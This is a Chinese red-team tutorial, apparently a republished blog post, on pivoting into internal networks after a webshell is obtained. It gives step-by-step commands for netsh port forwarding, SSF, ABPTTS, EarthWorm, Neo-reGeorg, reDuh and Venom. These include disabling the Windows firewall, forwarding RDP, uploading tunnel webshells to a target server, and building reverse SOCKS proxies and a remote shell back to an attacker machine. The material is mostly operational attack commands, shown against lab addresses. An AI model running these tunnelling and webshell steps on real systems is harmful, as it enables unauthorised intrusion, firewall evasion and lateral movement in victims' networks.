首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >内网渗透之各种正反向内网穿透、端口转发(http,socks5)- 渗透红队笔记

内网渗透之各种正反向内网穿透、端口转发(http,socks5)- 渗透红队笔记

作者头像
渗透攻击红队
发布2020-11-25 10:40:52
发布2020-11-25 10:40:52
5.7K0
举报
文章被收录于专栏:漏洞知识库漏洞知识库

内网穿透

什么时候会用到内网穿透?

在我们拿下一个Webshell的时候,我们没办法把一些工具上传到目标服务器上去使用,那样可能会有风险,而且有的时候还没有特定的环境来使用工具。这个时候我们就可以使用内网穿透来吧服务器的流量代理到本地,就相当于我们是在内网环境,我们就可以使用自己PC上的工具对内网进行扫描,内网渗透,域渗透等等。

内网穿透

netsh端口转发


netsh(Networ Shell)是一个Windows系统本身提供的功能强大的网络配置命令行工具。使用netsh进行端口转发的条件是必须是管理员(administrator)权限。


一:查看防火墙配置

代码语言:javascript
复制
netsh firewall show config

如果操作模式(Operational mode)是启用的,那么我们操作的时候需要吧防火墙给关闭才可以进行接下来的操作。

二、关闭防火墙

代码语言:javascript
复制
netsh advfirewall set allprofiles state off

这个时候防火墙(操作模式)就是关闭状态:

三、添加一个入站规则(给外网打开一个端口)

一般来说网络边界DMZ区都有一个内网网卡和一个外网网卡。这个时候我们就要吧它的外网0.0.0.0:3389端口打开。

代码语言:javascript
复制
添加一个saul规则,走TCP协议,开一个10086端口
netsh advfirewall firewall add rule name="saul" dir=in action=allow protocol=TCP localport=10086

通过IPv4吧本地127.0.0.1的内网3389端口转发到外网的10086端口
netsh interface portproxy add v4tov4 listenport=10086 connectaddress=127.0.0.1 connectport=3389

查看防火墙状态
netsh firewall show state 

查看所有转发规则
netsh interface portproxy show all
-------------------------------------------------
删除规则
netsh advfirewall firewall delete rule name="saul" dir=in action=allow protocol=TCP localport=10086
netsh interface portproxy delete v4tov4 listenport=10086

查看转发规则中,地址是 * 号说明任意地址都可以,如果是一个IP地址的话,那么说明只允许指定IP才可以连接。

这个时候我们只需要远程连接目标的10086端口就相当于连接了目标的3389端口:mstsc

额,连接错误不知道是为啥。(有知道的可以在读者讨论留言!)

但是我们可以使用这条命令:

代码语言:javascript
复制
netsh interface portproxy add v4tov4 listenport=10086 listenaddress=192.168.2.13 connectport=3389 connectaddress=192.168.2.13

listenaddress - 等待连接的本地IP地址。
listenport - 本地侦听TCP端口。
connectaddress - 将传入连接重定向到本地或远程IP地址(或DNS名称)。

connectport - 一个TCP端口,来自listenport的连接会被转发到该端口。假设当前我们的RDP服务端口在一个非标准端口上进行响应,如10086(端口可以在服务设置中更改)。为此,我们需要将传入流量从TCP端口10086重定向到另一个本地端口 - 3389(即标准rdp端口)。

使用mstsc进行远程连接:

删除规则:

代码语言:javascript
复制
删除指定的端口转发规则:
netsh interface portproxy delete v4tov4 listenport=10086 listenaddress=192.168.2.13
删除所有当前端口转发规则:
netsh interface portproxy reset

SSF正反向代理

反向代理

反向代理就是我们客户端监听,目标服务端连接我们的客户端。

PS:SSF走的是Socks5代理

代码语言:javascript
复制
SSF下载地址:https://securesocketfunneling.github.io/ssf/#download

一、服务端Win监听1111端口,等待连接:

代码语言:javascript
复制
Linux:
./ssfd -p 1111
Windows:
ssfd.exe -p 1111

二、客户端网络边界DMZ连接我们服务端的1111端口,并将数据流量转发给2222端口:

代码语言:javascript
复制
Windows:
ssf.exe -F 2222 -p 1111 192.168.2.7
Linux:
./ssf -F 2222 -p 1111  192.168.2.7

三、使用代理工具Proxychains做socks代理

代码语言:javascript
复制
下载安装:apt install proxychains

之后设置配置文件:proxychains.conf

代码语言:javascript
复制
vi /etc/proxychains.conf

在最后一行改成 2222 端口保存退出:

代码语言:javascript
复制
socks5 127.0.0.1 2222

之后如果想用自己的工具或者说是kali自带的工具,那么就可以在前面加上proxychains就可以了:

正向代理

如果目标防火墙只允许进不允许出,那么我们就可以使用正向代理。也就是我们去连接目标。

一、目标监听1080端口:

代码语言:javascript
复制
ssfd.exe -p 1080

二、服务端连接目标1080,并吧数据转发到1081:

代码语言:javascript
复制
.ssf -D 1081 -P 1080 192.168.2.4

三、使用Proxifier工具进行socks5代理连接:


abptts正向端口转发

abptts是一款基于ssl加密的http隧道工具,相对来讲还算稳定。

PS:abptts不支持PHP

代码语言:javascript
复制
下载地址:https://github.com/nccgroup/ABPTTS.git

一、生成一个webshell

代码语言:javascript
复制
 python abpttsfactory.py ‐o webshell

出错的话那么安装python的一些模块就好了:

代码语言:javascript
复制
python ‐m pip install pycrypto
python ‐m pip install pycryptodome
python ‐m pip install httplib2
代码语言:javascript
复制
 python abpttsfactory.py ‐o webshell

生成之后当前路径下会有一个webshell目录,结构是这样的:

代码语言:javascript
复制
webshell/
├── abptts.aspx
├── abptts.jsp
├── config.txt
├── GerbilFrame.war
└── war
    ├── GerbilFrame.jsp
    ├── META-INF
    │   └── MANIFEST.MF
    └── WEB-INF
        └── web.xml

然后我本地使用的是Jspstudy,然后吧生成的脚本abptts.jsp上传上去:

访问:http://192.168.2.13/abptts.jsp 会得到一串加密值:

代码语言:javascript
复制
7d75922bf227ec32477d3bb1f15b6047423a6d23dd449fe61b15dab5d5467f72f9010247.571e91

二、使用python进行连接

代码语言:javascript
复制
 命令格式:
 python abpttsclient.py ‐c webshell/config.txt ‐u "http://目标服务器/abptts.jsp" -f 本地内网IP:本地端口/目标边界内网IP:需要转发的目标边界端口
 
 将目标边界的3389转发到本地的33389端口上:
  python abpttsclient.py -c webshell/config.txt -u "http://192.168.2.13/abptts.jsp" -f 127.0.0.1:33389/127.0.0.1:3389

然后本地连接自己的127.0.0.1:33389就相当于连接192.168.2.13的3389端口:

远程桌面rdp连接成功!


earthworm正向跨平台socks代理

反向代理

一、客户端攻击机吧外网的888端口转发到本地的1008端口:

代码语言:javascript
复制
./ew_for_linux64 -s rcsocks -l 1008 -e 888

二、目标边界接收888端口的数据:

代码语言:javascript
复制
ew_for_Win.exe -s rssocks -d 192.168.2.13 -e 888

连接上攻击机服务端会显示rssocks cmd_socket OK!

这个时候修改 proxychains.conf 的端口为1008:

之后如果想用自己的工具或者说是kali自带的工具,那么就可以在前面加上proxychains就可以了:

正向代理

目标边界执行:

代码语言:javascript
复制
ew_for_Win.exe -s ssocksd ‐l 1080

攻击机服务端修改proxychains文件:192.168.2.13是目标边界的IP

之后如果想用自己的工具或者说是kali自带的工具,那么就可以在前面加上proxychains就可以了:


earthworm正向跨平台socks代理

代码语言:javascript
复制
下载地址:https://github.com/L-codes/Neo-reGeorg

一、生成webshell,密码是123456:

代码语言:javascript
复制
python neoreg.py generate ‐k 123456

吧 neoreg_servers文件夹下的tunnel.jsp 上传到目标服务器上:http://192.168.2.13/tunnel.php

二、攻击机客户端连接目标边界建立socks代理:

代码语言:javascript
复制
python neoreg.py -k 123456 -u http://192.168.2.13/tunnel.jsp

这个时候使用Proxifier进行socks5代理本地1080端口:


reDuh正向端口转发

ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

PS:这个工具卡的一笔!RDP连接随时会掉!

代码语言:javascript
复制
下载地址:https://github.com/sensepost/reDuh

一、吧服务端reDuh.jsp文件上传到目标服务器:http://192.168.2.13/reDuh.jsp

二、攻击机连接服务端:

在客户端的dist目录下执行:

代码语言:javascript
复制
目录:reDuh\reDuhClient\dist
java ‐jar reduhclient.jar http://192.168.2.13/reDuh.jsp

三、绑定端口建立一个隧道

可以使用telnet或者nc等等:

代码语言:javascript
复制
telnet 127.0.0.1 1010

四、吧目标的3389端口转发到本地的33389

代码语言:javascript
复制
命令语法: [createTunnel]要绑定到本地哪个端口上[33389]:127.0.0.1:要绑定远程机器上的哪个端口[3389,22]

 [createTunnel]33389:127.0.0.1:3389

五、连接本地的33389进行远程桌面登陆


venom反向socks代理

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

一、攻击机监听本地端口5555

代码语言:javascript
复制
admin.exe -lport 5555

二、目标边界反向连接我们服务端(192.168.2.13)

代码语言:javascript
复制
agent.exe ‐rhost 192.168.2.13 ‐rport 5555

连接成功服务端会显示success!

三、查看节点

代码语言:javascript
复制
show  

四:进入节点 1:

代码语言:javascript
复制
goto 1

五、进入交互式shell

代码语言:javascript
复制
shell

退出的话就使用:exit 命令:

六、建立socks代理

代码语言:javascript
复制
socks 9999

七、最后使用Proxifier对公网192.168.2.13进行socks代理连接


参考文章:

https://blog.csdn.net/qq_18501087/article/details/89406614

https://www.freebuf.com/articles/system/176889.html

https://www.jianshu.com/p/baf750b09303

https://blog.csdn.net/jcfszxc/article/details/102966056

https://zhuanlan.zhihu.com/p/98526331

https://www.naraku.cn/posts/82.html

https://sensepost.com/research/reDuh/

https://blog.csdn.net/sudo0m/article/details/85198795

https://xz.aliyun.com/t/4058

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 反向代理
  • 正向代理
  • 反向代理
  • 正向代理
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档